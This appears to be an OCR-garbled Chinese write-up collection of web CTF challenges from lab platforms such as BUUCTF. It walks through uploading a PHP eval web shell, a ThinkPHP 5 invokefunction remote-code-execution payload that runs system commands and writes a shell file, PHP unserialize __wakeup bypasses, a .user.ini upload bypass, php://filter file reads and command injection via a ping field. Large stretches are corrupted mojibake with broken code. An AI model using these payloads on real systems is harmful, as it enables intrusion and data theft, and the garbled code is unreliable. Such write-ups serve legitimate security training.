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TIP3, RA BAAHAHE, FEMZATEFE, BERERLEREMHART.

<script type="text/javascript”>

Array. prototype. contains = function (obj) |

var 1 = this.length;
while (i--) |
if (this[i] === obj) |
return true;
}

}
return false;

}
function check(){
upfile = document. getElementById( upfile”);
submit = document. setElementById (" submit™) ;
name = upfile. value;
ext = name. replace (/. +\. /.77 );
if([" jpg’, png’ 1. contains(ext)) {
submit. disabled = false;

telsef
submit. disabled = true;

alert CEREFE—RERIHLEE ),

}

<fscripty
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upload success : upload/1594608557.1 jpg
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FRFERE, FA—AE, RERCHFREREN shell. jpg BEIMBEBEELH,

Fls D hndex.php BETENL

Host: 220.249 52 133:34667

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWBE4, rv:46.0) Gecko/20100101 Firefox/d6.0
Accept: text/html application/xhtml+xml, application/xml;q=0.9 */*,q=0.8
Accept-Language: zh-CM zh;g=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Referer: http://220.249 52 133: 34667/

Connection: close

Content-Type: multipartfform-data; boundary=----------aemmmereeeeeen 148333080926792
Content-Length: 223

————————————————————————————— 148333080928792
Content-Disposition: form-data; name="upfile"; filename="shell.php|

Content-Type: image/jpeg

<?php @eval($_POST['m0re); 7=

----------------------------- 148333080928792--
sk PR S T
e -0%X Ul omm | AERE | m#R
oM x AT o mitEE | e g
B EuRE v
URLHthHE * http://220.249.52.133:34667/upload/1594610014.shell.php
EEEE mOre
PRt &
REIER UTF8 v
EEER PHP 4
hmes
(=) default (T3£7%)
() random (-1£3%)
© baset4 .
2 ERER A~
o Hilign ~

AT flag.php EEREflag. XA BB RKBA LML, ASWETFH-

Bx®¥i* (1) < | 3cHFER (5)
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= 7 html
M= upload
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I cache
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M lock
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install.sh

Web_php_unserialize

Wi 5 webE B
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<?php
class Demo {
private $file = 'index.php';
public function _ construct($file) {
$this->file = $file;
¥
function _ destruct() {
echo @highlight file($this->file, true);

¥
function _ wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
¥
¥

)
if (isset($_GET['var']l)) {
$var = baseb64_decode($ _GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
¥
} else {
highlight_file("index.php");

?>

EBE flag.php , RFEFEERKR T HKIREIZMA, FB T IENILA.
GRS, ERNRIFIIN, RE#HTbase64%mtY, {#Hgetls IRIIHER.

ARG

2020-0/-13 03:13:34
2020-07-13 02:42:31
2018-09-12 01:54:42
2018-09-12 01:54:42
2018-09-12 01:54:42

4 Kb
63b
11.24 Kb
1.35 Kb
221b



<?php
class Demo {
private $file = 'index.php';
public function _ construct($file) {
$this->file = $file;
¥
function _ destruct() {
echo @highlight file($this->file, true);

}
function _ wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
¥
¥

$A = new Demo('fl4g.php');
$b = serialize($A);
$b = str_replace('0:4', '0:+4',%$b);
$b = str_replace(':1:', ":2:',%$b);
echo base64_encode($b);

?>

1Em
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v / Docll:Rd®: / i

v R THIFIFRPRI— P RFF [oc]
oc MFIZE oc (FRHFNG) FILE—EFA

s IEEmEUCE =5

v \d+ matches a digit (equal to [8-9])
FEE-CR1ELT R

: = ILED =45

v Global pattern flags
i # o : insensitive. Case insensitive match (ignores case of [a-z
A-71])

FrEk, ZER +4 RAHE 4
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21715 2payload, ARJEHTRA MW LIEEIflagT .

ex.php?var=TzorNDoiRGVtb J xMDoIAERIDWSAZ mIsZSI7 ¢ Di/mbDRnLnBocCI7fQ==
< Tph
$tlage"ctf b1TbddcT-34e9-4526-8FaB-a0794a197013} *
2>
php_rce

BByt webi B
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ThinkPHP V5

+FE—Q - NAPIFHAIRITAIE HEREIESE
[ V5.0 iiAH 4= 3 EEEN A |

emmm, TE—TXMATFRIFEE.
RE— B ERIEN: Ohttps://github.com/vulnspy/thinkphp-5.1.29
FEMRM: html\thinkphp\library\think\Request.php

4p Request.php

¥ {
$this->mimeType[$type] $val;
¥

function method (%
($origin) {
"GET';

$ POST['*H1~— >config[ 'var_method']])) {
1s->method :trtLupput{$_POST[gt}1:—>config['
var_method']]);
$method strtolower(f$this->method);
f$this->{$method} - $ POST:
($this->s ("HTTP_X_| HTTP ETHOD _OVERRIDE'))
+t‘1~—,method B

I
L

"GET';

his->»method;

ThinkPHP F F 4B HTTP % R fIRequestzé /1,  H A fimethod /7% A T 3R EX 24 Bl H7E R 38 AL,

D E2BldArkar T A AR ANt AN A E¥ DIEESW —-REBWRAréesS i — &


https://github.com/vulnspy/thinkphp-5.1.29
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HERRKERRERES,
payload1

http://220.249.52.133:30775/?s=/index/\think\app/invokefunction&function=call _user_func_array&vars[@]=phpinfo&va
rs[1][]=-1

XMLWriter RoD Richards, Plerre-Alain Joye "N
XSL Christian Stocker, Rob Richards
zip Pierre-Alain Joye, Remi Collet
Zlib Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner
Authors Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter,
Damien Seguy, Jakub Vrana, Adam Harvey
Editor Peter Cowburn
User Note Maintainers Daniel P. Brown, Thiago Henrique Pojda
Other Contributors Previously active authors, editors and other contributors are listed in the manual.

Tlia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Jani
Taskinen, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet,
Ferenc Kovacs

PHP Websites Team Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen,
Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison

Event Maintainers Damien Seguy, Daniel P. Brown
Network Infrastructure Daniel P. Brown
Windows Infrastructure Alex Schoenmaker

PHP License

This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in
the file: LICENSE

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.

mEER! BHEESE ~

ThinkPHP V5.0.20 { +EE—GI- AP AIRITBTSIEEAESE +

I LLEE Flphpinfo, iR~y HATHRE, BT DR £ Fivii.
BT
?s=index/\think\app/invokefunction&function=call user_func_array&vars[@]=system&vars[1][ ]=whoami

AT — &<, FTCAAT LAg 8 HKflag, XANR—F.
fEMIsty @ —FK—%m L&,

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=1s

220.249.52.13

favicon.ico index.php robots.txt router.php static static

BEE L%

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][|=1s%20../../../



3BT flagsct

C O &2 | 220.249.52.133:30775/7s=index/\think\app/invokefunction&function=call_user_func_array&uvars[0]=system&uvars[1][]=

bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var

BHE XA Fcatdr &, 280 linuxdr & 248K 7T UUE A HAb A, BRmoreiX#, MiZ#RAT LLK .

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[@]=system&vars[1][]=cat%20../../../flag

BATUF Flflag T
B H

HEBEfag, finddrdERaghih B

find / -name "*flag*"

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[@]=system&vars[1][]=find%20/%20-name%20%22
*flag*%22%

WEnEhe, & HREEREAL

L ptadr A S A bt b Bt it =l ad e R e b At At At S S i e At Bt At 2 Nt bt Bt g
/proc/sys/kernel/sched domaln/cpuB/domalM/fIags /proc/sys/kernel/sched domaln/cpug/domalnO/fIags /proc/sys/kernel/sched domam/cpug/domalm/flags /proc,
/sys/devices/virtual/net/eth0/flags /sys/devices/virtual/net/lo/flags /sys/devices/platform/serial8250/tty/ttyS0O/flags /sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS3/flags /sys/devices/platform/serial8250/tty/ttyS4/flags /sys/devices/platforr
/sys/devices/platform/serial8250/tty/ttyS6/flags /sys/devices/platform/serial8250/tty/ttyS7/flags /sys/devices/platform/serial8250/tty/ttyS8/flags /sys/devices/platforr
/sys/devices/platform/serial8250/tty/ttyS10/flags /sys/devices/platform/serial8250/tty/ttyS11/flags /sys/devices/platform/serial8250/tty/ttyS12/flags /sys/devices/plat
/sys/devices/platform/serial8250/tty/ttyS14/flags /sys/devices/platform/serial8250/tty/ttyS15/flags /sys/devices/platform/serial8250/tty/ttyS16/flags /sys/devices/plat
/sys/devices/platform/serial8250/tty/ttyS18/flags /sys/devices/platform/serial8250/tty/ttyS19/flags /sys/devices/platform/serial8250/tty/ttyS20/flags /sys/devices/plat
/sys/devices/platform/serial8250/tty/ttyS22/flags /sys/devices/platform/serial8250/tty/ttyS23/flags /sys/devices/platform/serial8250/tty/ttyS24/flags /sys/devices/plat
/sys/devices/platform/serial8250/tty/ttyS26/flags /sys/devices/platform/serial8250/tty/ttyS27/flags /sys/devices/platform/serial8250/tty/ttyS28/flags /sys/devices/plat
/sys/devices/platform/serial8250/tty/ttyS30/flags /sys/devices/platform/serial8250/tty/ttyS31/flags /sys/module/sc5| mod/parameters/default dev flags fusr/lib/x86 ¢

gnu/perl/5.24.1/bits/waitflags.ph /usr/share/dpkg/buildflags.mk /fusr/local/lib/php/build/ax_check co - m/processor-flag
gnu/bits/waitflags.h /usr/include/linux/tty flags.h /usr/include/linux/kernel-page-flags.h /usr/bin/dpk bmldflags /flag /flag

BE—A

R 5 B catxf M #flag 14 .

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[@]=system&vars[1][ |=cat%20/flag

=T
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payload

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=shell.php&v
ars[1][1]=<?php%20eval( ["more"]);?>
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0 BRI (1) < || O (7) -~
EN OHig v ALE CRE A#IEAR  ABE v jarwww/publi iR
&0 var &% a8 Fh R
-0 [ stati 2018-05-11 08:12:00 4 Kb 0775
static -Ua- 120
& ] public|
. D htaccess 2018-05-11 08:12:00 216 b 0664
I static
@ favicon.ico 2018-05-11 08:12:00 1.12Kb 0664
@ index.php 2018-05-11 08:12:00 766 b 0664
@ robots.txt 2018-05-11 08:12:00 24b 0664
[ router.php 2018-05-11 08:12:00 840 b 0664
@ shell.php 2020-07-13 06:46:14 29b 0644
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ask Completed

FIFHES flag.php emmm? ? ? ?

flag.php

< ?php
$flag 'Syc{dog_dog_dog_dog}"';
>

RARLZTAX. EREFAIFHA M
&% index.php

style="text-shadow:8 5] Spx;
font-size:20px;position: absolute;bottom: 70%;left: 640

PR T PR Y
£

< ?php
‘class.php';

$select = $ GET['select'];
$res-unserialize(@$select);
?>
</ g
< style="position: absclute;bottom: 5%;width: 99%;"><p align="cente
style="font:italic 15 Georgia,serif;color:white;"> Syclover @ cldy</
<fdiv>

>

R RIRFFAPHP 7511k,

¥

functigr] _dp-:‘l' ruct Y,
($thi: ->password 100) {
echo "</br>NO!!lhacker!!1</br>";
echo "You name 1s: “;
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";

(OF

$this-lusername




ho $flag;

d
T
L
echo "</br*hello my friend~~</br>sorry i can't give you the flag!

4 username=admin H. password=100 KB {EHHiflag, {H2

ror_reporting

ass Name{
$username 'nonono’ ;
$password 'yesyes';

function __ construct{fu
->username - $username;

is->password = $password;

1
J

__wakeup()}{
rusername ‘guest”;

XA E B L iEusernameE guest, BT LLELE E 7L 245 8 rh O 5ok gt .
ARG

class Name

private = 'admin’
private = '100'
= new Name
echo serialize /) X IEHURL Fif3 1
echo urlencode(serialize /)RR LEHURL FEAT 5515

0:4:"Name":2:{s:14:"Nameusername”;s:5:"admin";s:14:"Namepassword";s:3:"100"

X MNameFHRIEHERBM, REBNEE, 28083, #iresd  wakeup()E%l.

B A privaters B, BRAT G BSR4 A7 B BT AR <0 L\O R AT 4R
X B\ R ASCI SR 0 IFRF (AR LFFF), TARZ\0 HeE. XWFRERET, AtAWREREMNIE L, £#\01\0username&k
B, HEASERR EIFARN, RRAERABASCIME RO FRF. WA HpythonfeEA4 7T L.

RBOERE M E w22, pythoni@3Z 75 ¥

import requests

url ="http://e1al8420-fb66-465e-b486-f4a86ce4eb95.node3.buuoj.cn"

html = requests.get(url+'?select=0:4:"Name":3:{s:14:"\OName\Ousername";s:5:"admin";s:14:"\@OName\@password";i:100
1!
)

print(html.text



7] LA15 Fiflag

AHpythoni)iE, FEurliZH < H B0
BFXAR, MEHMEEER.

jn %00
0:4: :3:{s:14: s:5: s:14: i:100
XA A A5 Fflag .

22— https://www.cnblogs.com/wangtanzhi/p/12193930.html
A —F 7R R R FIAGE 5 5 e TURLIR IS B3R 2E, A Fpythoni@ XS # T .
payload

http://e1al8420-fb66-465e-b486-f4a86cedeb95.node3.buuoj.cn/index.php?select=0%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3
A%22%00Name%00Ousername%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D


https://www.cnblogs.com/wangtanzhi/p/12193930.html

&% 5 ——https://www.cnblogs.com/kevinbruce656/p/12332736.html

[% % X ki 2019]Knife


https://www.cnblogs.com/kevinbruce656/p/12332736.html
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] HANENDS -0 X

©Fm xBET  EERE 2RI
B EnES v
URLAE * http://a3c628c7-1de4-40fc-944c-b53972441b7f.node3.buuoj.cn/ ?knife.phy
BEES - Syd
Pk
pERE UTF8 v
it PHP v

o default (THE3S)
random (-T3E%E)
baset4
2 EkiER ~
o H g ~

RIEMAER B F T E T flag
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RAHAT EAET —4 shell.php

Upload Labs

R | SR | SRR
i
—/

—H—E w
<) illegal suffix!
Y (i)

DESES =L

T EEFER B

BB fiR R — A githubds b, 8 B G JERS,
TEindex.phpH 2| T it s &1

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
¥
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $ FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");

¥

if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");

}

$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
¥
$upload_file path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);

echo "Your dir . $userdir. ' <br>';
echo 'Your files : <br>';

var_dump(scandir($userdir));



B T IXAREANBUUCTFA MmN, FrUAVEREF RN, & T HF2IMERwp, JRR 8 R Z%
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Burp Intruder Repeater Window Help

REAVESH, BrUlF

TS5 —— )\SUCTF 2019 Checkin 1% .user.ini 17

Zikaaa

[Target }' Proxy }' Spider I Scanner I Intruder IRepeate{ T Sequencer I Decoder I Comparer I Extender ]' Project options }' User options ]'Alerts ]

Go Cancel < |+ > | Target: http://T2d554a3-81e7-41c1-b987-c0c9432cbe16.node3.buuoj.cn M m
Request Response
Raw | Params | Headers | Hex Headers | Hex | HTML I Render ]
POST findex.php HTTR/ 1 [a <IDOCTYPE A
Host: 72d554a3-81e7-41c1-b987-c0c9432che 16, node3. buugj. cn I <html lang=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWB4; nv:46.0) Gecko/20100101
Firefox/46.0 <head>
Accept: text/html,application/xhtml+xml,application/xml; q=0.9 */*,q=0.8 <meta charset="UTF-8">
Accept-Language: zh-CN zh;q=0.8 en-US;q=05 en;q=0.3 <meta name="viewport" content="width=device-width  initial-scale=1.0">
Accept-Encoding: gzip, deflate <meta http-equiv="x-UA-Compatible” content="je=edge">
DNT: 1 <title=Upload Lahs</title>
Referer: http://72d554a3-8167-4121-h987-c0c9432che16.node3 buuoj.cn/ </head>
Connection: close
Content-Type: multipatform-data; boundary=-----------mm-ermeeeova 59315242461 <hody=
Content-Length: 318 <h2=Upload Labs</h2=>
<form action="index.php" method="post" enctype="multipart/form-data">
- 59315242461 <label for="file">3fFH: </label>
Content-Disposition: form-data; name="filelUpload”; filename="shell.aaa" <input type="file" name="fileUpload" id="file"><hr>
Content-Type: imagefjpeg <input type="submit" name="upload" valus="4"2">
<[form>=
<?php @eval(5_POST[mOre’); 7> <fbody=
----------------------------- 59315242461
Content-Disposition: form-data; name="upload" <fhtml=
. &It;7 in contents! =
:0‘3_1:"3.#"3.“:1 |v o | |'
u pe a search term 0 matches L;J u LJ u Type a search ferm 0 matches

ERERSCERE T, KR ARES <
RGBS R B GEAT 2

‘} Burp Suite Professional v1.7.322 - Temporary Project - licensed to surferxyz

Burp Intruder Repeater Window Help

716 bytes | 74 millis

[Target I Proxy I Spider I Scanner I Intruder IRepeatef I Sequencer I Decoder I Comparer

T Extender T Project options I User options TAIens }

L |

0 Cancel < |v > | Target: http:/[7T2d554a3-81e7-41c1-b987-c0c9432cbe16.node3.buuoj.cn @J lzJ
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
FOST findex. php HTTP/ .1 |A <html lang="en"> &
Host: 72d554a3-81e7-41c1-b357-c0c9432chel16.node3 buuoj.cn T
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:46.0) Gecko/20100101 <head>
Firefox/46.0 <meta charset="UTF-8">
Accept: text/html application/xhtml+xml,application/xml;q=0.9 **q=0.8 <meta name="viewport" content="width=device-width, initial-scale=1.0">
Accept-Language: zh-CN zh;g=0.8 en-US;g=0.5 en;q=0.3 <meta http-equiv="¥-UA-Compatible” content="je=edge">
Accept-Encoding: gzip, deflate <title=Upload Labs</title=
DMT: 1 </head>
Referer: http:/iT2d55433-81e7-41c1-h987-c0c9432cbe 16.node3. buuoj.cn/
Connection: close <body>
Content-Type: multipart/form-data; boundary=-—-------eeommmeena 59315242461 <hZ>Upload Labs</h2=>
Content-Length: 292 <form action="index.php" method="post" enctype="multipart/form-data">
<label for="file"> 3 tFH: </labsl>
————————————————————————————— 59315242461 <input type="file" name="fileUpload" id="filz" ><b|>
Content-Disposition: form-data; name="fileUpload"; filename="shell.jpg" <input type="submit" name="upload" value=":#t "
Content-Type: imageljpeg <ffarm:=
</body=>
mire
----------------------------- 59315242461 </html=
Content-Dispasition: form-data; name="upload"
exif_imagetype:not image!l
o AEIATIAEA |v |v
? < + 0 matches m LLJ u u 0 matches



https://xz.aliyun.com/t/6091

Done 723 bytes | 65 millis

UER, XABAFEH TR exif_imagetype , Xt SCHFSR R AT, k2 b RIS P B R X —
$image_type = exif_imagetype($tmp_name);

if (!$image_type) {
die("exif_imagetype:not image!");

RIEBEIN—ANGIF Sk, GIF89a

‘] Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz e ®
Burp Intruder Repeater Window Help
[Target }' Proxy ]' Spider }' Scanner ]' Intruder TRepeatei T Sequencer I Decoder }' Comparer }' Extender }' Project options I User options IAIerts ]
1|2 | ..
Go Cancel <|v > | Target: http://T2d554a3-81e7-41c1-b987-c0c9432che16.noded.buuoj.cn [ﬁj [zj
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML ]' Render ]
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 */*;q=0.8 A <hody= A
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5 &n;q=0.3 <h2=Upload Labs</h2> r
Accept-Encoding: gzip, deflate <form action="index.php" method="post" enctype="multipart/form-data">
DT 1 <label for="file"> ¥ kFH: <flabsl>
Referer: hitp://72d554a3-8167-4121-h987-c0c8432cbe 16 node3. buuoj.cnf <input type="file" name="fileUpload" id="file"><hr>
Connection: close <input type="submit" name="upload" valug="Ht ">
Content-Type: multipartform-data; boundary=------------ceemeeeeeeme 15297 130677404 <fform=
Content-Length: 309 <fbody>
----------------------------- 1529713077404 <fhtml>
Content-Disposition: form-data; name="fileUpload"; filename="suctf jpg" D
Content-Type: image/jpeg Your dir uploads/adeee0c170ad4ffb110df0cde294aecd <br=Your files : <br=array(d) {
[0}=>
GIFg3a string(1) "."
mire [l=>
----------------------------- 1529713077404 string(2) ".."
Content-Disposition: form-data; name="upload" 2l=>
string(9) "index.php”
B>
string(9) "suctf.jpg” < —
}

. g
? < + = Type a search ferm 0 matches ? < + = Type a search ferm 0 matches

Done 595 bytes | 53 millis

ALEH, EB~ERI). 6 —1 index.php HEVIHEHER.
XA BN — B LD R, REMN ERITENBX AN EHRAK (user.ini EEEIT. 2T TH, SHEERBANIHETE
T, MUEERTEEY.

XERREESIT
E4% user.ini

GIF89a
auto_prepend_file=a.jpg



EtepizhE,

SHE) #RIE(E) EHEN) AR HBEE) TRO FHEH)

J Upload Labs X \ 9
€ (0 72d554a3-81e7-41c1-b987-c0c9432cbelbnode3l [l ¢ = QiEx ad + & @ -1 #|- - -~
INT v = & SQLBASICS® UNION BASED~- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LFI-
@ Load URL
% split URL
’ Execute

[] Postdata [ ] Referrer 4™ OxHEX ¥ &% %URL ™ &% BASEG4 Insert string to rep\ace| |Insert replacing string Replace All ™ D

Upload Labs

MR RS FEEE,

i
Your dir uploads/adeee0c170ad4ffb110df0cde294aecd
Your files :
array(6) { [0]=> string(1) "." [1]=> string(2) ".." [2]=3 string(9) ".user.ini" [3]=> string(9) "index.php'|[4]=> string(9) "shell.jpg" [5]=> string(9) "suctf.jpg" }

-1 EARS

GIF89a
<script language='php'>system('cat /flag');</script>

B EAESE, Ui

HE) REE) BEV ORO BEER) IED #EH)

- O X
J Upload Labs x \ 4

€ (O 72d554a3-81e7-41c1-b987-c0c9432cbelbnode3] [l | ¢ @& Q iz w B ¥ A - s &) & 0| &6~ Q@ =
INT ~ = @& SQLBASICS® UNION BASED- ERROR/DOUBLE QUERY- TOOLS® WAF BYPASS~ ENCODING- HTML ENCRYPTION- OTHER- XSS+ LFI-
& Load URL -
4§ splitURL =
) Execute

[] postdata [] Referrer 4™ OxHEX & %URL 3B 4% BASEG4 I Insert string to replace|

Insert replacing string Replace All 3

Upload Labs

HE . SRR,

kour dir uploads/adeeelc170ad4ffb110df0cde294aecd v

A~

array(7) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]= string(5) "a.jpg" |4]=> string(9) "index.php" [5]=> string(9) "shell.jpg" [6]=> string(9) "suctf.jpg" }

15 19 BR AT 8 Blflag:  http://72d554a3-81e7-41¢1-b987-
c0c9432che16.node3.buuoj.cn/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php

.user.ini F %4


http://72d554a3-81e7-41c1-b987-c0c9432cbe16.node3.buuoj.cn/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php

1. REHBHAIE S NPHP
2. JR%%# FHCGI/ FastCGIE
3. FEEFTFERF AT HIphp X4

HAIRELR, BEBEE. KI secret.php

FIRFIRZEZ AR br [><Gr >

FEE— T BIFRE 832 a stvle="border:none; cursor:default;” onclick="return false” href="Secret. php” »5hE

Vile, KIFEEMN— A%%%Mjﬁﬁjl\lﬂ

L36-3032W1-00067-5

I B e i Referersk

I Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz e -
Burp Intruder Repeater Window Help

[Target T ISpider T Scanner Ilntruder IRepeater ISequencer I Decoder T Comparer T Extender T Project options I User options IAIens ]

[1]2 8] -]

| Go | | <7 Target: http:/inode3.buuoj.cn:28049 | # | ?\

Raw | Headers T Hex ] Raw | Headers IHEX T HTML IRender ]

GET /Secret.php HTTR/1 .1 A } &
Host: node3.buuoj.cn:258049 r <fstyle> r
User-Agent: Mozilla/S.0 (Windows NT 10.0; WOWE4; v:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/zhtml+xml application/xml;g=0.9 */*,q=0.8 <head=
Accept-Language: zh-CN,zh;q=0.8 en-US;q=0.5 en;q=0.3 <meta charset="UTF-8">
Accept-Encoding: gzip, deflate <title=SycSecret</ftitle>
Referer:hitps:/iwww. Sycsecret.com
DNT: 1 ackground="./imag

Connection: close ound-size: 100% 100%; und-attachment: fix >

m " 4 " m " m 4 " g/ <
<h1 style="font-family: arial, color #5E44AD; font-size: 500 x; text-align: center font-family:KaiTi; ">
Please use "Syclover” hrowser</h1>

tyle= absolute;bottorn: O;width: 99%;"
olorwhite; "> Syclover @ cldy</p=</di

p align="center" style="font:italic 15px




= || Ty

I

(]

o
El -u|
z

X EF syclover MY, B2 User-Agent

B! Burp Suite Professional v1.7.22 - Temporary Project - licensed to surferxyz
Burp Intruder Repeater Window Help

v

0 matches

I <fhndv>

<fhtml>

K

'T EJ EJ EJ Type a search ferm

0 matches

2,571 bytes | 57 miliis

{Target I Proxy ]' Spider ]' Scanner }' Intruder IRepeater T Sequencer I Decoder ]' Comparer I Extender ]' Project options I User options IAIerT.s ]

1w [2 = |3 x| ...
Go Cancel < |v > Target: hitp://node3.buuoj.cn:28049 | & | 7
Request Response
Raw | Headers | Hex Raw | Headers | Hex | HTML ]’Reﬂder ]
GET /Secret.php HTTR/1.1 : 1 :
Host: node3.buugj.cn:28049 </style>
User-Agent: "Syclover” browser
Accept: text/html application/xhtml+xml application/xml, g=0.9 **,q=0.8 <head>
Accept-Language: zh-CN,zh;q=0.8 en-US;q=0.5 en;q=0.3 <meta charset="UTF-8">
Accept-Encoding: gzip, deflate <title>SycSecret</title>
Referer https:/fwww. Sycsecrat.com </head>
DNT: 1 <body background="./images/background.png" style="background-repeat:no-repeat
Connection: close ;background-size:100% 100%; background-attachment: fixed;" >
L fl il bl fl ol el e e foe Tl el
<h1 style="font-family:arial; color #3E44AD; font-siz @ 50px; text-align: center;font-family: KaiTi; ">
No!!! you can only read this locally!!!</h1>
<div stxle:"Eosition absolute; bottorm: O;width: 999 "><p align="center" style="font:italic 15px
Georgia serif colorwhite; "> Syclover @ cldy</p></div=
<fbody>
</html=
e
v [
0 matches 7 < + > 0 matches

HEEAHL 5 17)
{FFAXFF#E4T A% 127.0.0.1

B! Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz
Burp Intruder Repeater Window Help

2,581 bytes | 43 miliis

[Target ]' Proxy ]' Spider I Scanner ]' Intruder TRepeater T Sequencer ]' Decoder ]' Comparer I Extender ]' Project options ]' User options ]'Alerts ]

1 [2 = [ 3|
Go Cancel < v > Target: http://node3.buuoj.cn:28049 lﬂ lzJ
Request Response
Raw | Headers | Hex Raw | Headers | Hex | HTML I Render ]
GET /Secret.php HTTR/1.1 : <fstyle= :
Host: node3. buuaj.cn:28049
User-Agent: "Syclover” browser <head>
Accept: text/html application/xhtml+xml,application/xml,g=0.9 */* q=0.8 <meta charset="UTF-8">
Accept-Language: zh-CH zh;q=0.8en-US;q=0.5 en;q=0.3 <title>SycSecret<ftitle>
Accept-Encoding: gzip, deflate </head>
Referer:https:/iwww. Sycsecrat.com <body background="/images/background.png" style="background-repeat:no-repaat
¥-Forwarded-For127.0.0.1 ‘background-size:100% 100%; background-attachment: fixed;" »
DNT: 1
Connection: close <fhr=</bre</bre<fhre<fbr=<fore</bre<fbre</bre<fhre</bre</hr>
<h1 style="font-family: arial;color #E44AD; font-size:S0px;text-align: center; font-family: KaiTi; ">
flag{3efe/3b8-52a2 410f-h10e 99alaad9dIg}
<fhl=
<div style="position: absolute;bottorn: O;width: 99%;"=<p align="center" style="font:italic 15px
Georgia,serif, colorwhite; "> Syclover @ cldy</p=</div=
<fbody> L

</html>




L !

|?H<H+||>| Type a search term 0 matches ‘?||<H+||>| Type a search term 0 matches

Done 2,585 bytes | 59 millis

B 3flag, AT LLHTEH ModHeader R, ARINE.

- C O F%2 | node3buuoj.cn:28049/Secret.php

@ Profile 1

Request headers

User-Agent “Syclover" browser
X-Forwarded-For 127.0.0.1

Referer https://www.Sycsecret.com

Syclover @ clqy

XEE, ZFRinclude, MiZRXHAER KK . BEI AEtipBkE 2 — 5 HE, EEKAfag
url2 X FER) http://371426d5-5373-47c1-9bF8-a7f7ef1408596.node3.buuoj.cn/?file=Fflag.php
E Flfilef8 2] T PHP Oy #H Y

Pl 2. BHEZRT php://input

& 5 C @ AL | 371426d5-5373-47c1-9bf0-a7f7ef140596.node3.buuoj.cn/?file=php://input

hacker!

BRI T .
HARKRANK, KI php://Filter AL,
payload

http://371426d5-5373-47c1-9bf0-a7f7ef140596.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resourc
e=flag.php



C @ F=g| 371426d5-5373-47c1-9bf0-a7f7ef140596.node3.buuoj.cn/?file=php://filter/read =convert base64-enc SGLJ!'IZE:ﬂa\;]_php‘

PD9waHAKZWNobyAIQ2FulHIvdSBmaW5kiG91dCB0aGUgZmxhZz8i10wovL2ZsYWd7MDVmYTViMzctN2UzOCOOMWY 1LWFIZDktYzkONTkyMzVmMmNmfQo=

BEAT S48 Blflag
[ACTF2020 i 4 3£ ]Exec

FIEANF L DH KRBk, NEHBERRMBK exec=#4i7
R, MR mSIITT .

21a83a3d-753f-4ede-b8f4-f5d68e63 1e8a.node3.buuoj.cn

PING

- h 127.0.0:1| cat /flag

EEAFEEping ittt

PING

flag{daf97ccd-f94d-4f59-88ab-2fa785bbb1c8}

[ACTF2020 i 4 $2]BackupFile



